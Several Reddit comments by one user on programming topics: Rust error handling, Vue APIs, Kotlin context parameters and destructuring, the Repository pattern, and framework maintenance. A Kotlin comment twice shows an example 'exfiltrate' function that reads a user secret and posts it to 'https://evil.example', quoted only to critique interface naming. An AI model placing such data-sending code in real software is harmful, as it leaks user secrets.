u/ragnese
ragnese
ragnese
I'm fairly opposed to having LLMs just spit out tons of code at a time, because it seems obvious to me that it'll make projects harder to maintain, faster.
But, I could see someone defending LLM code in production without careful, line-by-line, review by claiming that their automated and manual tests are thorough enough that they are confident it works correctly (likely just as confident as with any code written by humans), so it doesn't really "need" such detailed review of the code.
I think that can be completely valid and correct in the short term, but like I said above, I'd hate to have to work with a code base that does this regularly over a longer period of time...
ragnese
I highly doubt that ripping out a bunch of parts actually improves performance much.
I think that the default animation speed can sometimes make things feel slow (I haven't tried Plasma in a couple of versions, so I don't know if those things have been tweaked lately).
It's also possible that one, specific, service could have been misbehaving or using too many resources (turning off the built-in file indexers for Plasma and Gnome were the first things I used to tweak on fresh installs several years ago because they were both so bad).
But, I think the majority of claims like this are placebo.
ragnese
I think the point of this title was a jab at a recent post for Fory, claiming that is was 10x faster than kotlinx.serialization (or some similar claim)
ragnese
<off-topic-rant>
I hate when people call comparisons "unfair" just because a project deliberately chose to do things a certain way. I used to hear all the time how it wasn't "fair" to compare the speed of compiled languages to e.g., Python or JavaScript because comparing compiled code to interpreted code is "apples to oranges". No, it's not- they're both code that is going to run on my server/whatever; just because Python prioritized something besides speed in its design does not mean it's unfair to point out that it is, in fact, slow and a developer might care about how much faster alternatives can be.
Likewise, the fact that kotlinx.serialization does compile-time code-generation while other library chose runtime reflection doesn't mean we should give a handicap score to the reflection-based libraries. I want my serialization to be fast. Period. </off-topic-rant>
ragnese
Correct. thiserror doesn't force you to do anything. And the comment you replied to doesn't suggest it does. They said,
I think thiserror (and similar) can easily make your code worse.
Emphasis mine.
There's a concept that stuck with me when I first heard it: the pit of success. It's the idea that we should design interfaces (programming languages, APIs, physical button and knob interfaces, etc) so that doing the correct thing is easier than doing the incorrect thing. The problem I have with thiserror is not that it forces you to do anything, but that it makes it way easier to do more stuff, faster--whether it's the correct thing or the incorrect thing. Unless you're already somewhat of a Rust expert, it can be very tempting to leverage more of its features than you need. And designing good error types and fallible APIs in Rust is a skill that you just have to develop over time- even if you were already an expert programmer in some other language(s) before picking up Rust.
Just my 2 cents. It's a very nice library, but from a pedagogical viewpoint, I feel like it should be gate-kept a little bit as an "expert-only" library.
ragnese
I thought I was the only one! I've made similar arguments in the past in this sub, and I made a similar comment elsewhere in this thread. thiserror is very convenient and powerful... if you already know what you're doing. Unfortunately, it makes it far too easy to just mindlessly do the "default" approach of having giant enums with From implemented for every conceivable error type combo. Look at the first example in its documentation: that's what people are going to follow.
It's not that I have a problem with thiserror, itself. It's just that I wince when this entire sub responds to every newbie's error-handling question with the mantra: "Use thiserror for libraries and anyhow for applications".
ragnese
Agreed. I feel the same way about thiserror.
anyhow's biggest offenses, IMO, are that (last time I checked) it's more restrictive in what's allowed as an error type compared to using a Box<dyn Error>, and that it necessarily collects a stack trace. If you want/need a stack trace, then returning a value doesn't make sense to me- you should panic and catch the panic at your app's top-level event loop. Yes- I'm being serious: throwing and catching panics/exceptions is perfectly fine in applications and is a completely different kind of error than the ones you'd return in a Result--which should be expected business logic failures for which collecting a stack trace doesn't make sense (it's not part of your business logic that a function named foo on line 37 of file foo.rs did something).
thiserror isn't actually bad, per se, but it kinda makes it too easy to pile crap on to your error types, which just amplifies your ability to bury yourself under bad error type design. If you slow down and don't automatically impl From for every combination of error type, you'll often realize that it's not the overall type of an error that maps to another error, but also the context of what the business logic was trying to do when it encountered said error; with From, it's too easy to just throw ? everywhere and end up with incorrect and over-simplified error handling.
ragnese
Exposed methods are part of the component's public API; just the same as its props and emits.
But, you're technically right. Strictly speaking, you can pass a prop to a component that it doesn't use or define as part of its API. Likewise with adding event listeners for events that the component doesn't throw. But, you can't call a method on an object if the method does not exist. In that sense, the parent is technically more coupled to the implementation of the child. But, that's not how things really go in the real world, though. Nobody is throwing props into components without caring if the component actually uses it, nor are we listening for events that we know the component doesn't emit. In practice, our parent components are always almost-completely coupled to the child's implementation.
ragnese
Components often have a few different blocks of functionality or states. It makes more sense to group logically related data/computeds/methods together, which you can do with the composition API.
I've never bought into this argument/framing.
If you have a bunch of data + computeds + functions + watchers for "Functionality A", and a bunch of data + computeds + functions + watchers for "Functionality B" in the same component, then one of two things is true:
- Functionality A's code references something in Functionality B's code, or vice versa. In which case, you haven't actually separated anything because you need to read Functionality A's code to understand everything about Functionality B.
- The chunks of code are truly independent and don't interact with each other. In which case, why are both of these pieces of code in the same component instead of in two separate components?
Further more, you actually cannot separate out functionality into blocks as described because you can't separate your defineEmits and defineProps by "functionality block".
I do use and prefer the composition API, and don't care one way or the other about the options API, but this "sales pitch" for the composition API always sounded like BS to me.
ragnese
I've been saying for a long time that the Options API is destined to be dropped. And every time, someone would reply that the Vue.js devs said it's not going anywhere. I'd reply that I simply don't believe the devs (and that seemed to rub people the wrong way).
I'll need to go through my comments for spiteful purposes for when it's finally fully dropped.
ragnese
This needs to be said more. The compiler necessarily errs on the strict/conservative side when it isn't able to prove something is safe. But, you're the programmer- you're allowed to know something the compiler doesn't!
ragnese
Agreed. The only thing that belongs "on top" is a query builder DSL, but only if it is not a subset of whatever SQL flavor you're using (i.e., no lowest-common-denominator crap that doesn't support unique features of MySQL, PostgreSQL, etc) and if it actually helps avoid some invalid SQL errors/mistakes at compile time.
ragnese
I'm very excited for context receivers parameters, and this article seems well-written from an initial skim (I know about how they work, so I mostly skipped that stuff).
[...] most discussions focus on how they replace context receivers or clean up dependency injection boilerplate.
However, I wanted to explore a much bigger architectural shift they enable: Capability-Based Architecture.
So, I'm not trying to be a wet blanket, but the "Capability-Based Architecture" concept you've introduced doesn't seem any different to me than dependency injection.
The only thing is that you're naming the dependencies as adjectives (e.g., "CanReadPrivateData") instead of the conventional nouns (e.g., "PrivateDataReader"). But, that doesn't really read very well once you get to the call sites:
context(read: CanReadPrivateData, net: CanSendNetwork)
fun exfiltrate(userId: String) {
val secret = read.readUserSecret(userId)
net.post("https://evil.example", secret)
}
CanReadPrivateData reads like a boolean, but is named like a verb and used like a noun (readUserSecret is a verb action taken by the receiver).
I like the idea, and I do see "context" as somehow different from "dependency", but I just don't dig these examples. If you can use them anonymously, it may be slightly better (I think this is legal, but I'm not sure):
context(_: CanReadPrivateData, _: CanSendNetwork)
fun exfiltrate(userId: String) {
val secret = readUserSecret(userId)
post("https://evil.example", secret)
}
But, I still don't love naming an interface or object like CanDoSomething. As lame and tedious as it may be, I think I might be inclined to name them something like PrivateDataReadContext or just the old, boring, dependency-sounding PrivateDataReader. The dependency-style name still reads fine to me for this, because when you define exfiltrate, you're saying "Here's an operation that can be performed by entities that are both a PrivateDataReader and a NetworkSender." And that doesn't make it weird when you have an actual class implement one or more of these interfaces.
However, you immediately give up on this naming convention in the next section (e.g., Clock instead of CanGetTimestamp, DatabaseWrite instead of CanWriteToDatabase). This, unfortunately, makes me wonder if an LLM wrote a lot of this, because I'm just not sure why the author wouldn't stick with the convention they just described one section prior.
ragnese
Declaring an array creates a runtime object, too. As does creating a Zod schema. And if you create a function for checking if a value is present in the "enum", then you're making a real runtime object as well (functions are objects).
I avoid enums because they behave oddly, e.g., with keyof and/or typeof (I don't remember). But, not because it makes a runtime object...
ragnese
I'm sorry, but I don't think I follow.
But how exactly do you know what getBook() returns? Book, BookImpl, BookDto, Result<Book>?
It doesn't really matter as long as it compiles. This is how most idiomatic Kotlin is. For example, most people would be perfectly happy to read and write Kotlin code like val book = getBook(). Are you saying that you always prefer to write val book: BookImpl = getBook()?
And how do you know title actually comes from that object? In Kotlin it could just as well be an extension property, a scoped extension, or a delegated property.
In principle, I'm not sure you do; and again, I'm not sure it matters. Though, in this specific case, we're talking about destructuring, so I assume there will be some limitations on what kinds of properties will work, like how an object needs to implement the componentN() methods for position-based destructuring to work today. I don't think it matters to almost anyone whether the componentN() method(s) are true class methods or extension methods. Today, I believe the List<> componentN() methods are in fact extension methods. Does that matter?
Even in one of your counter-examples above you wrote val named = book.title. How do you know where book.title really comes from? It could be an extension property or a delegated property. Why doesn't it matter for this case but it does matter for the destructuring example of val (named = title) = book or val (named = title) = getBook()?
ragnese
You took an example from the video without actually watching the video, then. He started with the more convenient syntax with one val in front of the parentheses, and then "expanded" it to the long version with val in front of each variable to explain that the former is syntax sugar for the latter. Kotlin has lots of syntax sugar, like how we can declare class properties as constructor arguments instead of declaring the properties separately and then writing the constructor function implementation out by hand.
As far as not liking the final example, I'm not sure what's unreadable and confusing about it, because I clearly do know where title, author, and price come from: they come from whatever object is returned from the getBook() call. It's pretty unambiguous syntax. There's no way a reader would be looking around in scope for some previously defined variable named, e.g., title, since you would never see similar syntax to assign a local title variable like this (i.e., there's no such thing as val title = "some value"; val (named = title)). On the other hand, different strokes, and all that. It's certainly a matter of taste whether you like a syntax or not, but it's not really fair to pick on the long-form syntax for not being more convenient than an alternative when the common/sugared syntax is more convenient and less verbose than the alternative you provided (assigning each variable individually from the book object's properties).
ragnese
Two things.
First, you wouldn't write,
(val named = title, val writtenBy = author, val cost = price) = book
because all three variables use val, so you'd certainly write,
val (named = title, writtenBy = author, cost = price) = book
But, you're also right in that you wouldn't really write the above, either, because destructuring an already named variable is usually less clear than not. However, more often you'd like to get the parts without naming a temporary variable,
val (named = title, writtenBy = author, cost = price) = getBook()
ragnese
It's nice to have both, especially for destructuring things that are supposed to be used like containers (List, Pair, Triple, etc). Plus, then it would be consistent with function calls: you can pass positional arguments, named arguments, or an unambiguous combination of both (though, IIRC, the combo syntax used to be a little more restrictive/conservative).
But, yeah, I don't understand why they didn't have this from the get-go or very early on.
ragnese
I think the parent comment is well aware of the issue you describe, which is why they say,
Today, we model a set of reasons as an enum because it's the only tool we have, and if you want to precisely model the set of reasons you indeed need one enum per operation... but then it's very annoying for the caller to merge the enums of a chain of operations into one.
Which makes it seem like you're arguing against a point they aren't making.
Their point is that it's frustrating for callers/clients when you have multiple different enum error types with variants that are semantically exactly the same. In other words, a library with an enum-per-operation might force the caller to write code to handle GetWidgetError::NotFound, UpdateWidgetError::NotFound, DeleteWidgetError::NotFound. They are not saying that it's better to have every operation return the same giant WidgetError enum which would make it look like the createWidget operation might somehow fail with WidgetError::NotFound. They are saying that it would be nice to have an intelligent mechanism to enable us to define independent error types like struct WidgetNotFoundError, and to be able to (like Java's checked exceptions) just write a list of types in a function signature that would act like an anonymous enum-like, set-like, type. The compiler can enforce exhaustive handling at call sites and it can also analyze the intersections of these anonymous enums to determine whether "bubbling up" one of these anonymous enum types is valid (i.e., it is a subset of the current context's return type).
ragnese
There are some approaches to address them (unit of work, identity maps, concurrency patterns etc.), but I've never seen them used, and it results in a very leaky abstraction of questionable value.
Exactly. That's precisely why I phrased it as "I've never seen it used well." These concerns/limitations are not new--obviously--and there are "solutions" such as those you listed and the "you just need MORE Repositories because something-something Aggregate Root something-something." But, the "solutions" make the code even more convoluted and awkward to work with (and not at all composable anymore). At some point you have to admit defeat and conclude that the abstraction is just not a good one.
ragnese
It sounds great. And it looks great in blog posts where they show "Hello, World" style examples where every conceptual entity is almost completely isolated to a single database table.
But, how well does this abstraction work when your service deals with multiple repositories, where each repository refers to entities that span multiple database tables? How do you make the service-level operations atomic (i.e., transactional) across multiple repositories' calls without breaking the abstraction? What if you intend to compose services? Can you have a service wrapping two other services wrapping multiple repositories and have the whole thing be done in a transaction without completely ruining the entire point of having the Repository abstraction in the first place?
ragnese
Furthermore, if I just judge by the names/terms being offered (because, as you said, there's not much else to go on...), it sounds like they're just repeating the common OOP-centric web backend paradigms with "services" and "repositories", etc.
I've never seen Repository objects used well in anything but the most trivial applications (SQL transactions? Locks? READ_COMMITTED? What the heck do those even mean!? I'm just pretending I have an in-memory collection and that I'm never processing concurrent requests!). And wrapping everything in Service and Repository classes would be even more frustrating and inefficient in a Rust project than some GC'd OOP language like Java.
ragnese
It's really not surprising. I don't even know how evil is implemented, but I can imagine that it must do several look-ups to check what "state" you're currently in, whether you pressed a "leader" key or Ctrl/Super/whatever, check whether a line needs to wrap and what evil-specific configs you have for that, etc, etc.
I'm sure much of the core press-key-then-insert-character stuff is implemented in C in Emacs, so even adding a few dictionary look-ups in Elisp could be an order of magnitude slower.
ragnese
You reduce supply-chain risk and update churn, yes but you also take on more maintenance yourself. Frameworks like Nest abstract complexity you’ll eventually have to re-implement (auth flows, DI patterns, validation, etc.).
Yeah, sure. Except that we're in JavaScript Land, where there's no such thing as stability, so even with the big, popular, frameworks and libraries, the maintenance burden is still extremely high compared to other languages and platforms. Old versions are deprecated and abandoned frequently, with major breaking changes. I haven't used Nest, specifically, but I'd be shocked to hear if/when it goes multiple years without an update that would require people to redo their auth flows, or DI patterns, or validation stuff, just because that's the way things go here.
I guess it's a matter of scale, in a way.
I use Rust in production, and I never use nightly or beta for that- which is probably not surprising. And while I do periodically go around our projects and update dependencies and whatnot for security fixes, I'm not updating to the latest version of Rust as soon as they drop. In fact, we don't tend to bump our Rust version until there's actually a reason to (like a new stabilized API that would make implementing our next feature easier/better).
I'm sure there are lots of orgs like mine, and I'm also sure there are lots of orgs/people that happened to update to 1.99.0 very soon after it released for one reason or another. I'm willing to bet that the former is more common than the latter. On the other hand, that doesn't matter if there are a billion programmers writing Rust because a small fraction of a billion is still a huge number of projects affected. But, if there are only a few thousand programmers writing Rust projects, then five days wouldn't seem like a long time for someone to hit this specific problem and report it.
tl;dr - I don't know if I'm surprised or not... lol